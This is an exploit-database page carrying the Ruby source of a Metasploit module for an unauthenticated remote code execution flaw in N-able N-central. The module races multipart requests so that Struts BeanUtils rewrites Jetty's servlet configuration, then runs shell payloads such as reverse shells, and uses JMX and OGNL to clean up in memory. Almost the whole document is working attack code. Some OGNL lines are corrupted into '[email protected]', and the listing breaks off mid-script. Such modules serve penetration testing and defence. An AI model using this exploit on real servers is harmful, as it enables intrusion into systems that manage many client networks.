Lucene search
+L

N-able N-central Struts BeanUtils Unauthenticated RCE

🗓️ 05 Sep 2026 00:00:00Reported by sfewer-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 9 Views

Unauthenticated RCE in N-able N-central via Struts BeanUtils and a multipart race condition.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Static Code Injection in N-Able N-Central
12 Sep 202611:01
–githubexploit
githubexploit
GithubExploit
Exploit for Static Code Injection in N-Able N-Central
23 Sep 202612:32
–githubexploit
circl
Circl
CVE-2026-86218
6 Sep 202604:00
–circl
cisa_kev
CISA KEV Catalog
N-able N-central Static Code Injection Vulnerability
8 Sep 202600:00
–cisa_kev
cve
CVE
CVE-2026-86218
6 Sep 202602:15
–cve
cvelist
Cvelist
CVE-2026-86218 pre-authentication remote code execution
6 Sep 202602:15
–cvelist
euvd
EUVD
EUVD-2026-72041
6 Sep 202602:15
–euvd
kitploit
Kitploit
CVE-2026-86218
12 Oct 202612:10
–kitploit
kitploit
Kitploit
CVE-2026-86218-N-central-IOC-Toolkit
12 Sep 202615:07
–kitploit
kitploit
Kitploit
CVE-2026-86218
14 Oct 202617:40
–kitploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'N-able N-central Struts BeanUtils Unauthenticated RCE',
        'Description' => %q{
          N-able N-central before 2026.3.1.14 uses a session-scoped Struts form on
          an unauthenticated action. Two concurrent multipart requests can race the
          form's multipart handler and expose Jetty's live configuration to Commons
          BeanUtils property population.

          This module changes a lazy N-central servlet holder into Jetty's bundled
          CGI servlet, configures it to invoke /bin/sh, and sends a command payload
          through the holder's existing URL mapping. By default, a second CGI
          request uses N-central's local JMX service and installed Java libraries to
          stop only the changed holder and restore its original servlet in memory.
        },
        'Author' => [
          'sfewer-r7' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-86218'],
          ['URL', 'https://me.n-able.com/s/security-advisory/aArVy0000002Ld3KAE/cve202686218-preauthentication-remote-code-execution'],
          ['URL', 'https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF4_Release_Notes.htm']
        ],
        'DisclosureDate' => '2026-09-05',
        'Privileged' => false, # Executes as user 'nable'
        'Targets' => [
          [
            # Successfully tested against the following versions:
            # * N-central 2025.4.1.2
            # * N-central 2026.3.1.13
            #
            # Successfully tested with the following payloads:
            # * cmd/linux/http/x64/meterpreter/reverse_tcp
            # * cmd/unix/reverse_bash
            'Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => [ARCH_CMD]
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'FETCH_DELETE' => true,
          # N-central mounts /tmp with noexec. Fetch payloads therefore use a
          # Python memfd by default; this product-owned directory is the
          # executable fallback when an operator sets FETCH_FILELESS to none.
          'FETCH_FILELESS' => 'python3.8+',
          'FETCH_WRITABLE_DIR' => '/var/opt/n-central/tmp',
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          # The exploit temporarily replaces one live servlet and therefore
          # causes both a configuration change and loss of that servlet's service.
          # In-memory cleanup does not add a disk artifact, but a fetch payload
          # can create one before FETCH_DELETE removes it.
          'Stability' => [CRASH_SAFE, SERVICE_RESOURCE_LOSS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The N-central base path', '/']),
        OptEnum.new(
          'SERVLET',
          [
            true,
            'The lazy servlet holder to replace temporarily',
            'LogRetrieval',
            ['LogRetrieval', 'FileTransfer', 'AutomationManagerDownloadServlet']
          ]
        )
      ]
    )

    register_advanced_options(
      [
        OptFloat.new('RaceDelay', [true, 'Delay after pausing the first request before sending the helper request', 0.35]),
        OptBool.new('ServletCleanup', [true, 'Restore the changed servlet holder after launching the payload', true]),
        OptInt.new('ServletCleanupDelay', [true, 'Seconds to wait for the cleanup CGI request to finish before restoring the holder', 5])
      ]
    )
  end

  def check
    # Omitting the action's required method makes N-central render its standard
    # system-error component. That response includes the product version and is
    # available without authentication on the same listener used by the
    # exploit. It creates an ordinary HTTP session but does not mutate Jetty.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => action_uri
    )

    return CheckCode::Unknown("No response from #{action_uri}.") unless res

    error_info = res.get_html_document.at_xpath('//*[@data-dojo-props]/@data-dojo-props')&.value

    unless error_info&.start_with?("errorInfo:'") && error_info.end_with?("'")
      return CheckCode::Unknown("The response from #{action_uri} did not identify N-central.")
    end

    # data-dojo-props wraps JSON in errorInfo:'...'; it is not itself a JSON
    # document. Remove only that fixed wrapper, then let the JSON parser extract
    # the version rather than matching inside serialized JSON with a regexp.
    begin
      error_data = JSON.parse(error_info.delete_prefix("errorInfo:'").delete_suffix("'"))
    rescue JSON::ParserError
      return CheckCode::Detected('N-central returned malformed system-error JSON, so its version could not be determined.')
    end

    version_string = error_data['version'] if error_data.is_a?(Hash)

    unless version_string.is_a?(String) && version_string.present?
      return CheckCode::Detected('N-central detected, but its system-error metadata did not contain a usable version.')
    end

    begin
      version = Rex::Version.new(version_string)
    rescue ArgumentError
      return CheckCode::Detected("N-central reported an invalid version string: #{version_string.inspect}.")
    end

    return CheckCode::Safe("N-central #{version} is not affected.") if version >= Rex::Version.new('2026.3.1.14')

    CheckCode::Appears("N-central #{version} is affected.")
  end

  def exploit
    # Exploitation overview:
    #
    # The unauthenticated Struts action gives us a normal JSESSIONID. Two
    # requests with that cookie share one session-scoped form. The slow request
    # stops partway through multipart parsing, after Struts clears the form's
    # multipart handler. A complete helper request then installs its initialized
    # handler, containing live servlet references, on the shared form. When the
    # slow request resumes, BeanUtils follows attacker-controlled field names
    # through that handler and into Jetty's live WebAppContext.
    #
    # Those fields replace a not-yet-initialized N-central servlet with Jetty's
    # CGI servlet and configure a shell to read the trigger body. A final POST
    # supplies the command payload on the shell's standard input. Jetty retains
    # the instantiated CGI object, so changing the holder fields back is not enough
    # to restore it. The optional cleanup request waits until CGI has returned,
    # then uses the local JMX service to stop only this holder, destroy CGI, and
    # restore the original servlet without restarting Jetty.
    race_delay = datastore['RaceDelay']

    fail_with(Failure::BadConfig, 'RaceDelay must be greater than zero.') unless race_delay.positive?

    # The holder name and URL stem are identical for two choices, but
    # AutomationManagerDownloadServlet is mapped below AutomationManagerDownload.
    trigger_paths = {
      'LogRetrieval' => 'LogRetrieval/WEB-INF/web.xml',
      'FileTransfer' => 'FileTransfer/WEB-INF/web.xml',
      'AutomationManagerDownloadServlet' => 'AutomationManagerDownload/WEB-INF/web.xml'
    }

    servlet = datastore['SERVLET']

    trigger_path = trigger_paths.fetch(servlet)

    # LogRetrieval is the best default: it has the required wildcard mapping,
    # is reachable without authentication on the public listener, and is
    # normally initialized only by an uncommon log-capture operation.
    # FileTransfer is also reachable on the public listener but exploiting it
    # disrupts file transfers. AutomationManagerDownloadServlet generally
    # requires the configurable management UI listener. Download has a suitable
    # wildcard mapping, but normal traffic initialized it after a clean reboot,
    # so it cannot be replaced reliably. Other candidates are initialized during
    # startup, lack a wildcard mapping, or have incompatible authentication or
    # filter behavior. When enabled, cleanup restores the selected holder after
    # payload launch.
    if servlet == 'AutomationManagerDownloadServlet'
      print_warning('AutomationManagerDownloadServlet normally requires the configured management UI listener; set RPORT to that listener (port 8443 by default).')
    end

    # Resolve the final command before changing Jetty so a payload-generation
    # failure cannot leave the target mutated without reaching the CGI trigger.
    payload_command = payload.encoded

    session_cookie = new_session

    # Why the two requests must overlap:
    #
    # Struts stores one form object in this HTTP session, so both requests edit
    # the same object. At the start of a multipart request, Struts removes the
    # form's multipart handler. It does not put the request's new handler back
    # until after BeanUtils has processed the submitted fields. A request
    # therefore cannot use its own handler to reach Jetty.
    #
    # The first request stops while Struts is still reading its body. While it
    # waits, the helper request finishes and puts its initialized handler into
    # the shared form. When the first request continues, BeanUtils finds the
    # helper's handler and follows the crafted field names through it into
    # Jetty's live configuration.
    #
    # The padding prefix stays in the range that proved reliable during testing.
    # The random suffix leaves every mutation field unsent while parsing is
    # blocked. Hexadecimal padding has the requested exact length and cannot
    # contain Rex::MIME's hyphen-prefixed numeric boundary. The complete body
    # also stays below Struts' 128 KiB in-memory upload threshold.
    padding_prefix_size = rand(48 * 1024..72 * 1024)

    padding_suffix_size = rand(8 * 1024..16 * 1024)

    padding = rand_text_hex(padding_prefix_size + padding_suffix_size)

    multipart = Rex::MIME::Message.new

    # No field initializes CGI and each field changes an independent holder or
    # filter property, so their order is immaterial. Shuffling avoids a fixed
    # wire layout without changing the race.
    [[rand_text_hex(16), padding], *cgi_mutation_fields(servlet).shuffle].each do |name, value|
      multipart.add_part(value, nil, nil, "form-data; name=\"#{name}\"")
    end

    body = multipart.to_s

    fail_with(Failure::BadConfig, "The generated multipart body is too large (#{body.bytesize} bytes).") if body.bytesize >= 128 * 1024

    # Locate the padding in the rendered MIME body instead of assuming the size
    # of its random boundary and part headers. This keeps the split after the
    # chosen number of padding bytes even if Rex changes either one.
    padding_offset = body.index(padding)

    fail_with(Failure::Unknown, 'The generated padding was not found in the multipart body.') unless padding_offset

    body_split_offset = padding_offset + padding_prefix_size

    slow_client = connect

    slow_request = slow_client.request_cgi(
      'method' => 'POST',
      'uri' => action_uri,
      'ctype' => "multipart/form-data; boundary=#{multipart.bound}",
      'cookie' => session_cookie,
      'data' => body
    )

    serialized_request = slow_request.to_s

    # The byte split below is valid only if request_cgi appended the MIME body
    # verbatim. Refuse to send a partial request if a future HTTP client change
    # transforms or relocates it.
    fail_with(Failure::Unknown, 'The HTTP client did not preserve the generated multipart body.') unless serialized_request.end_with?(body)

    # request_cgi prepends the HTTP request line and headers. Translate the
    # body-relative split into the serialized request rather than assuming how
    # many bytes those headers occupy.
    request_body_offset = serialized_request.bytesize - body.bytesize

    request_split_offset = request_body_offset + body_split_offset

    # HttpClientTimeout may be nil because send_request_cgi normally supplies
    # its 20-second default. This raw client path bypasses that wrapper, so it
    # must apply the same default when the option is unset or non-positive.
    request_timeout = datastore['HttpClientTimeout']

    request_timeout = 20 unless request_timeout&.positive?

    vprint_status("Holding the multipart request after #{padding_prefix_size} of #{padding.bytesize} padding bytes.")

    begin
      slow_client.connect(request_timeout)

      # Content-Length describes the complete body, but only this prefix is
      # sent. Jetty begins parsing, Struts clears multipartRequestHandler, and
      # the multipart parser blocks waiting for the advertised remainder.
      slow_client.conn.put(serialized_request.byteslice(0, request_split_offset))

      Rex.sleep(race_delay)

      # send_request_cgi deliberately creates a second connection. Its
      # vars_form_data support uses Rex::MIME internally; the random field is
      # not a property on the form and is harmless. Waiting for the response
      # guarantees Struts has attached this request's wired handler to the
      # shared form before the slow request resumes. Its eventual HTTP status is
      # irrelevant because attachment happens during population, before the
      # action runs.
      helper_res = send_request_cgi(
        'method' => 'POST',
        'uri' => action_uri,
        'cookie' => session_cookie,
        'vars_form_data' => [
          {
            'name' => rand_text_hex(16),
            'data' => rand_text_hex(2)
          }
        ]
      )

      fail_with(Failure::Unreachable, 'The helper multipart request did not receive a response.') unless helper_res

      # The remaining bytes contain every mutation field. BeanUtils now sees
      # the helper's handler instead of nil and follows those fields into Jetty.
      slow_client.conn.put(serialized_request.byteslice(request_split_offset..))

      mutation_res = slow_client.read_response(request_timeout, original_request: slow_request)

      fail_with(Failure::Unreachable, 'The servlet mutation request did not receive a response.') unless mutation_res

      fail_with(Failure::UnexpectedReply, "The servlet mutation failed with HTTP #{mutation_res.code}.") if mutation_res.code >= 500
    rescue Rex::ConnectionError, ::Errno::EPIPE, ::IOError, ::Timeout::Error => e
      fail_with(Failure::Unreachable, "The multipart race failed: #{e.message}")
    ensure
      slow_client.close
    end

    print_status('The multipart race completed without a server error.')

    # WEB-INF/web.xml is an existing resource that satisfies CGI's file lookup.
    # The command prefix makes /bin/sh read this request body from standard
    # input; Jetty does not execute the contents of web.xml.
    print_status("Sending the payload through #{servlet}")

    payload_marker = rand_text_hex(16)

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, trigger_path),
      'ctype' => 'text/plain',
      'data' => exploit_payload_body(command: payload_command, marker: payload_marker)
    )

    if res&.body&.include?(payload_marker)
      print_good('The CGI shell launched the payload command.')
    elsif res&.code && res.code >= 500
      print_warning("The CGI trigger returned HTTP #{res.code}; no command completion marker was received.")
    else
      print_warning('No CGI command completion marker was received.')
    end

    # Prepare cleanup only after the payload trigger. A session may already be
    # open, so cleanup validation, generation, and transport problems are
    # reported as warnings rather than turning a successful exploit into an error.
    unless datastore['ServletCleanup']
      print_warning("Restart N-central to restore #{servlet} and remove the CGI endpoint.")
      return
    end

    cleanup_delay = datastore['ServletCleanupDelay']

    unless cleanup_delay&.positive?
      print_warning("Cleanup was not scheduled because ServletCleanupDelay must be greater than zero. Restart N-central to restore #{servlet} and remove the CGI endpoint.")
      return
    end

    # Cleanup runs through a separate CGI request so the holder is never
    # stopped while it is servicing the payload request. The response confirms
    # that the delayed in-memory controller was launched, not that its later
    # JMX work has already completed.
    print_status("Scheduling cleanup of #{servlet}")

    begin
      cleanup_marker = rand_text_hex(16)
      cleanup_res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, trigger_path),
        'ctype' => 'text/plain',
        'data' => servlet_cleanup_body(servlet: servlet, marker: cleanup_marker, delay: cleanup_delay)
      )

      if cleanup_res&.body&.include?(cleanup_marker)
        print_good("Cleanup of #{servlet} was scheduled with a #{cleanup_delay}-second delay.")
      else
        print_warning("Cleanup could not be scheduled. Restart N-central to restore #{servlet} and remove the CGI endpoint.")
      end
    rescue StandardError => e
      print_warning("Cleanup could not be scheduled: #{e.message}. Restart N-central to restore #{servlet} and remove the CGI endpoint.")
    end
  end

  private

  def exploit_payload_body(command:, marker:)
    # The random marker shows that the CGI shell processed this request; the
    # resulting session or payload behavior remains the proof that the payload
    # itself succeeded. Run it in a background subshell and disconnect all three
    # standard streams from CGI. Backgrounding alone is insufficient because a
    # session process would retain Jetty's response pipe and keep the HTTP
    # request open until it timed out. The CGI shell can now emit the marker and
    # exit immediately while the payload continues independently.
    <<~SH
      printf 'Content-Type: text/plain\r\n\r\n'
      (#{command}) </dev/null >/dev/null 2>&1 &
      printf '#{marker}\n'
    SH
  end

  def servlet_cleanup_body(servlet:, marker:, delay:)
    # JShell normally writes preferences and remote-execution bookkeeping to
    # disk. Local execution avoids its helper JVM, and both remaining writable
    # locations are redirected to a private tmpfs directory that is removed
    # when the controller exits. No source, class, or JAR is uploaded.
    memory_directory = "/dev/shm/.#{rand_text_alphanumeric(16)}"
    encoded_script = Rex::Text.encode_base64(servlet_cleanup_script(servlet), '')

    # /bin/sh -c assigns the first argument after its script to $0. This
    # placeholder is required so the delay, script, and directory remain $1,
    # $2, and $3; its value has no other purpose, so do not leave a fixed label.
    command_name = rand_text_alphanumeric(8)

    <<~SH
      printf 'Content-Type: text/plain\r\n\r\n'
      if (umask 077 && mkdir '#{memory_directory}'); then
        nohup /bin/sh -c '
          sleep "$1"
          printf %s "$2" | /usr/bin/base64 -d | /usr/bin/jshell \
            -J-Djava.util.prefs.userRoot="$3" -J-Djava.io.tmpdir="$3" \
            --execution local --no-startup --feedback silent -
          /usr/bin/find "$3" -type f -delete
          /usr/bin/find "$3" -depth -type d -empty -delete
        ' '#{command_name}' #{delay} '#{encoded_script}' '#{memory_directory}' </dev/null >/dev/null 2>&1 &
        printf '#{marker}\n'
      fi
    SH
  end

  def servlet_cleanup_script(servlet)
    # The race changes the holder's configuration, and the trigger then makes
    # Jetty create a live CGI servlet from it. Merely writing the old class name
    # back would leave that CGI object running. Restarting all of Jetty would
    # remove it, but would also interrupt N-central and any payload sessions.
    #
    # This method instead builds a JShell program for the second CGI request to
    # run. JShell connects to N-central's local JMX service through loopback and
    # creates a temporary bridge that evaluates an OGNL expression inside
    # Jetty's JVM. Running there lets the expression stop only the affected
    # holder, destroy CGI, restore the original N-central servlet, and start that
    # holder again. Jetty and the rest of the web application remain running,
    # and no compiled cleanup helper is uploaded.
    original_classes = {
      'LogRetrieval' => 'com.nable.server.reactive.LogRetrieval',
      'FileTransfer' => 'com.nable.server.reactive.FileTransfer',
      'AutomationManagerDownloadServlet' => 'com.nable.server.util.automationManager.AutomationManagerDownloadServlet'
    }

    # The mutation overwrites the holder's original class reference. Map each
    # supported holder to the N-central class that a clean server assigns to it.
    original_class = original_classes.fetch(servlet)
    object_suffix = rand_text_alphanumeric(12)

    # JShell and OGNL use separate variable scopes, but both accept Java-style
    # identifiers. Separate generators keep each scope collision-free while
    # preserving descriptive keys in this Ruby source. OGNL also reserves
    # implicit variables and word-form operators that Java permits as
    # identifiers, so exclude those in addition to Java's reserved words.
    jshell_identifiers = Rex::RandomIdentifier::Generator.new(language: :java)
    ognl_identifiers = Rex::RandomIdentifier::Generator.new(
      language: :java,
      forbidden: Rex::RandomIdentifier::Generator::JavaOpts[:forbidden] +
        %w[and band bor context eq gt gte in lt lte neq not or root shl shr ushr xor]
    )

    # cgi_mutation_fields is the single source of truth for the CGI class and
    # its init parameters. Index its full BeanUtils paths by their final
    # property rather than relying on array order, because the wire fields are
    # deliberately shuffled during exploitation.
    mutation_values = cgi_mutation_fields(servlet).to_h.transform_keys do |property_path|
      property_path.rpartition('.').last
    end

    cgi_class = mutation_values.fetch('heldClass')
    init_parameters = mutation_values.each_with_object({}) do |(property, value), parameters|
      match = property.match(/\AinitParameter\(([^)]+)\)\z/)
      parameters[match[1]] = value if match
    end

    init_parameter_checks = init_parameters.map do |name, value|
      "##{ognl_identifiers[:servlet_holder]}.getInitParameter(#{name.dump})==#{value.dump}"
    end.join(" &&\n              ")

    init_parameter_removals = init_parameters.keys.map do |name|
      "##{ognl_identifiers[:servlet_holder]}.getInitParameters().remove(#{name.dump}),"
    end.join("\n              ")

    # JMX identifies the holder and its web-application class loader, but the
    # holder MBean does not expose the stop and start operations needed to
    # discard the live CGI object. The OGNL expression therefore runs inside
    # Jetty and recovers the underlying Java objects in three steps:
    #
    # 1. Find exactly one JMX name for the selected holder and obtain Jetty's
    #    class loader from it. This loader can reach the Jetty infrastructure
    #    needed to recover the live holder, but not N-central's application
    #    classes.
    # 2. Find Jetty's Server through its shutdown monitor, obtain the server's
    #    MBeanContainer, and use that container to translate the JMX name back
    #    into the live ServletHolder object.
    # 3. Read the holder, then obtain ROOT's application class loader from its
    #    servlet context so the original N-central servlet class can be loaded.
    #    Also read the handler and two global filters that the exploit changed.
    #    Before touching them, require the exact CGI class, parameters, lifecycle
    #    state, and async settings written by this module. An unexpected or
    #    ambiguous state becomes a no-op instead of risking a change to an
    #    unrelated or already-modified holder.
    #
    # Once those checks pass, the expression stops the holder (which destroys
    # CGI), restores the known N-central class, removes the CGI-only parameters,
    # resets async support, and starts just that holder. The two shared filters
    # return to their normal settings only when no other holder is still using
    # CGI. A final state check distinguishes a complete restoration from a
    # partial one.
    #
    # The repeated getMethods().{?...}[0] operations select a public Java method
    # by name, and OgnlRuntime.invokeMethod calls it with the explicitly built
    # argument array. This avoids dispatching through concrete runtime classes
    # that Java's module and access rules do not expose. Within an OGNL
    # collection selection, #this is the built-in name for the current item.
    expression = <<~OGNL.chomp
      (
        ##{ognl_identifiers[:mbean_server]}[email protected]@getPlatformMBeanServer(),
        ##{ognl_identifiers[:query_names_method]}[email protected]@class.getMethods().{?#this.getName()=='queryNames'}[0],
        ##{ognl_identifiers[:query_arguments]}=new java.lang.Object[2],
        ##{ognl_identifiers[:query_arguments]}[0]=new javax.management.ObjectName('org.eclipse.jetty.servlet:context=ROOT,type=servletholder,name=#{servlet},*'),
        ##{ognl_identifiers[:query_arguments]}[1]=null,
        ##{ognl_identifiers[:holder_names]}[email protected]@invokeMethod(##{ognl_identifiers[:mbean_server]},##{ognl_identifiers[:query_names_method]},##{ognl_identifiers[:query_arguments]}),
        ##{ognl_identifiers[:holder_names]}.size()!=1 ? 'HOLDER_NOT_UNIQUE' :
        (
          ##{ognl_identifiers[:holder_name]}=##{ognl_identifiers[:holder_names]}.toArray()[0],
          ##{ognl_identifiers[:get_class_loader_method]}[email protected]@class.getMethods().{?#this.getName()=='getClassLoaderFor'}[0],
          ##{ognl_identifiers[:one_argument]}=new java.lang.Object[1],
          ##{ognl_identifiers[:one_argument]}[0]=##{ognl_identifiers[:holder_name]},
          ##{ognl_identifiers[:jetty_class_loader]}[email protected]@invokeMethod(##{ognl_identifiers[:mbean_server]},##{ognl_identifiers[:get_class_loader_method]},##{ognl_identifiers[:one_argument]}),
          ##{ognl_identifiers[:load_class_method]}[email protected]@class.getMethods().{?#this.getName()=='loadClass'}[0],
          ##{ognl_identifiers[:shutdown_monitor_class]}=##{ognl_identifiers[:load_class_method]}.invoke(##{ognl_identifiers[:jetty_class_loader]},'org.eclipse.jetty.server.ShutdownMonitor'),
          ##{ognl_identifiers[:get_instance_method]}=##{ognl_identifiers[:shutdown_monitor_class]}.getMethods().{?#this.getName()=='getInstance'}[0],
          ##{ognl_identifiers[:shutdown_monitor]}[email protected]@invokeMethod(null,##{ognl_identifiers[:get_instance_method]},new java.lang.Object[0]),
          ##{ognl_identifiers[:lifecycles_field]}=##{ognl_identifiers[:shutdown_monitor_class]}.getDeclaredField('_lifeCycles'),
          ##{ognl_identifiers[:lifecycles_field]}.setAccessible(true),
          ##{ognl_identifiers[:jetty_servers]}=##{ognl_identifiers[:lifecycles_field]}.get(##{ognl_identifiers[:shutdown_monitor]}).{?#this.getClass().getName()=='org.eclipse.jetty.server.Server'},
          ##{ognl_identifiers[:jetty_servers]}.size()!=1 ? 'SERVER_NOT_UNIQUE' :
          (
            ##{ognl_identifiers[:mbean_container_class]}=##{ognl_identifiers[:load_class_method]}.invoke(##{ognl_identifiers[:jetty_class_loader]},'org.eclipse.jetty.jmx.MBeanContainer'),
            ##{ognl_identifiers[:get_bean_method]}=##{ognl_identifiers[:jetty_servers]}[0].getClass().getMethods().{?#this.getName()=='getBean'}[0],
            ##{ognl_identifiers[:one_argument]}[0]=##{ognl_identifiers[:mbean_container_class]},
            ##{ognl_identifiers[:mbean_container]}[email protected]@invokeMethod(##{ognl_identifiers[:jetty_servers]}[0],##{ognl_identifiers[:get_bean_method]},##{ognl_identifiers[:one_argument]}),
            ##{ognl_identifiers[:find_bean_method]}=##{ognl_identifiers[:mbean_container_class]}.getMethods().{?#this.getName()=='findBean'}[0],
            ##{ognl_identifiers[:one_argument]}[0]=##{ognl_identifiers[:holder_name]},
            ##{ognl_identifiers[:servlet_holder]}[email protected]@invokeMethod(##{ognl_identifiers[:mbean_container]},##{ognl_identifiers[:find_bean_method]},##{ognl_identifiers[:one_argument]}),
            ##{ognl_identifiers[:servlet_handler]}=##{ognl_identifiers[:servlet_holder]}.getServletHandler(),
            ##{ognl_identifiers[:webapp_class_loader]}=##{ognl_identifiers[:servlet_handler]}.getServletContext().getClassLoader(),
            ##{ognl_identifiers[:header_filter]}=##{ognl_identifiers[:servlet_handler]}.getFilter('HeaderFilter'),
            ##{ognl_identifiers[:mdc_filter]}=##{ognl_identifiers[:servlet_handler]}.getFilter('Mapped Diagnostic Context Filter'),
            ##{ognl_identifiers[:original_class]}=##{ognl_identifiers[:load_class_method]}.invoke(##{ognl_identifiers[:webapp_class_loader]},'#{original_class}'),
            ##{ognl_identifiers[:valid_state]}=
              ##{ognl_identifiers[:servlet_holder]}.getClassName()==#{cgi_class.dump} &&
              ##{ognl_identifiers[:servlet_holder]}.getInitParameters().size()==#{init_parameters.length} &&
              #{init_parameter_checks} &&
              ##{ognl_identifiers[:servlet_holder]}.isAsyncSupported() && ##{ognl_identifiers[:servlet_holder]}.isEnabled() && ##{ognl_identifiers[:servlet_holder]}.isStarted() &&
              ##{ognl_identifiers[:header_filter]}!=null && ##{ognl_identifiers[:header_filter]}.isAsyncSupported() &&
              ##{ognl_identifiers[:mdc_filter]}!=null && ##{ognl_identifiers[:mdc_filter]}.isAsyncSupported(),
            ##{ognl_identifiers[:valid_state]} ?
            (
              ##{ognl_identifiers[:other_cgi]}=##{ognl_identifiers[:servlet_handler]}.getServlets().{?#this!=##{ognl_identifiers[:servlet_holder]} && #this.getClassName()==#{cgi_class.dump}}.size()>0,
              ##{ognl_identifiers[:servlet_holder]}.stop(),
              ##{ognl_identifiers[:servlet_holder]}.setHeldClass(##{ognl_identifiers[:original_class]}),
              #{init_parameter_removals}
              ##{ognl_identifiers[:servlet_holder]}.setAsyncSupported(false),
              ##{ognl_identifiers[:servlet_holder]}.setEnabled(true),
              ##{ognl_identifiers[:other_cgi]} || (##{ognl_identifiers[:header_filter]}.setAsyncSupported(false),##{ognl_identifiers[:mdc_filter]}.setAsyncSupported(false),true),
              ##{ognl_identifiers[:servlet_holder]}.start(),
              ##{ognl_identifiers[:servlet_holder]}.getClassName()=='#{original_class}' &&
                ##{ognl_identifiers[:servlet_holder]}.getInitParameters().isEmpty() &&
                !##{ognl_identifiers[:servlet_holder]}.isAsyncSupported() && ##{ognl_identifiers[:servlet_holder]}.isEnabled() && ##{ognl_identifiers[:servlet_holder]}.isStarted() &&
                (##{ognl_identifiers[:other_cgi]} ? (##{ognl_identifiers[:header_filter]}.isAsyncSupported() && ##{ognl_identifiers[:mdc_filter]}.isAsyncSupported()) :
                  (!##{ognl_identifiers[:header_filter]}.isAsyncSupported() && !##{ognl_identifiers[:mdc_filter]}.isAsyncSupported())) ?
                'RESTORED' : 'VERIFY_FAILED'
            ) : 'UNEXPECTED_STATE'
          )
        )
      )
    OGNL

    # The OGNL source contains several layers of quotes plus values copied from
    # cgi_mutation_fields. Base64 carries it through the generated Java as one
    # opaque string, preventing Java escaping from changing a value before
    # JShell decodes it and sends it over JMX.
    encoded_expression = Rex::Text.encode_base64(expression, '')

    # JShell runs in its own JVM, so it cannot directly manipulate Jetty's live
    # holder. The generated program crosses that boundary as follows:
    #
    # 1. Connect to the JMX server listening on the appliance's loopback
    #    interface.
    # 2. Load a small, serializable OGNL object in JShell. It is only a carrier
    #    whose class loader lets the temporary MBean resolve OGNL; the cleanup
    #    logic remains in the expression above.
    # 3. Register an MLet, JMX's built-in URL class loader, inside Jetty and
    #    point it at the same installed OGNL and Javassist JARs. Jetty can now
    #    receive that carrier over RMI without copying a new JAR to the appliance.
    # 4. Register a temporary RequiredModelMBean whose single operation calls
    #    OGNL's getValue method. Invoking it over JMX causes the expression to
    #    execute in Jetty's JVM rather than in JShell.
    # 5. In a finally block, attempt to unregister both temporary MBeans and
    #    close the JMX connection whether restoration succeeds or raises an
    #    exception.
    #
    # ImmutableDescriptor is required here because DescriptorSupport loses the
    # non-string targetObject while sending the operation description over RMI.
    <<~JSHELL
      import java.net.*;
      import javax.management.*;
      import javax.management.modelmbean.*;
      import javax.management.remote.*;

      var #{jshell_identifiers[:jmx_connection]}=JMXConnectorFactory.connect(new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:1099/jmxrmi"));
      var #{jshell_identifiers[:mbean_server]}=#{jshell_identifiers[:jmx_connection]}.getMBeanServerConnection();
      var #{jshell_identifiers[:loader_name]}=new ObjectName("ncentral.cleanup:type=MLet,name=#{object_suffix}");
      var #{jshell_identifiers[:evaluator_name]}=new ObjectName("ncentral.cleanup:type=Evaluator,name=#{object_suffix}");
      var #{jshell_identifiers[:ognl_url]}=new URL("file:/opt/nable/webapps/ROOT/WEB-INF/lib/ognl-3.3.4.jar");
      var #{jshell_identifiers[:javassist_url]}=new URL("file:/opt/nable/webapps/ROOT/WEB-INF/lib/javassist-3.26.0-GA.jar");
      var #{jshell_identifiers[:target_object]}=new URLClassLoader(new URL[]{#{jshell_identifiers[:ognl_url]},#{jshell_identifiers[:javassist_url]}}).loadClass("ognl.ASTConst").getConstructor(int.class).newInstance(0);
      var #{jshell_identifiers[:operation_descriptor]}=new ImmutableDescriptor(
        new String[]{"name","displayName","descriptorType","class","role","targetType","targetObject"},
        new Object[]{"getValue","getValue","operation","ognl.Ognl","operation","ObjectReference",#{jshell_identifiers[:target_object]}});
      var #{jshell_identifiers[:operation_parameters]}=new MBeanParameterInfo[]{
        new MBeanParameterInfo("expression","java.lang.String","OGNL expression"),
        new MBeanParameterInfo("root","java.lang.Object","OGNL root")};
      var #{jshell_identifiers[:operation]}=new ModelMBeanOperationInfo("getValue","Evaluate OGNL",#{jshell_identifiers[:operation_parameters]},"java.lang.Object",MBeanOperationInfo.ACTION,#{jshell_identifiers[:operation_descriptor]});
      var #{jshell_identifiers[:mbean_info]}=new ModelMBeanInfoSupport("ognl.Ognl","OGNL evaluator",null,null,new ModelMBeanOperationInfo[]{#{jshell_identifiers[:operation]}},null);
      var #{jshell_identifiers[:expression]}=new String(java.util.Base64.getDecoder().decode("#{encoded_expression}"),java.nio.charset.StandardCharsets.UTF_8);
      try {
        #{jshell_identifiers[:mbean_server]}.createMBean("javax.management.loading.MLet",#{jshell_identifiers[:loader_name]});
        #{jshell_identifiers[:mbean_server]}.invoke(#{jshell_identifiers[:loader_name]},"addURL",new Object[]{#{jshell_identifiers[:ognl_url]}},new String[]{"java.net.URL"});
        #{jshell_identifiers[:mbean_server]}.invoke(#{jshell_identifiers[:loader_name]},"addURL",new Object[]{#{jshell_identifiers[:javassist_url]}},new String[]{"java.net.URL"});
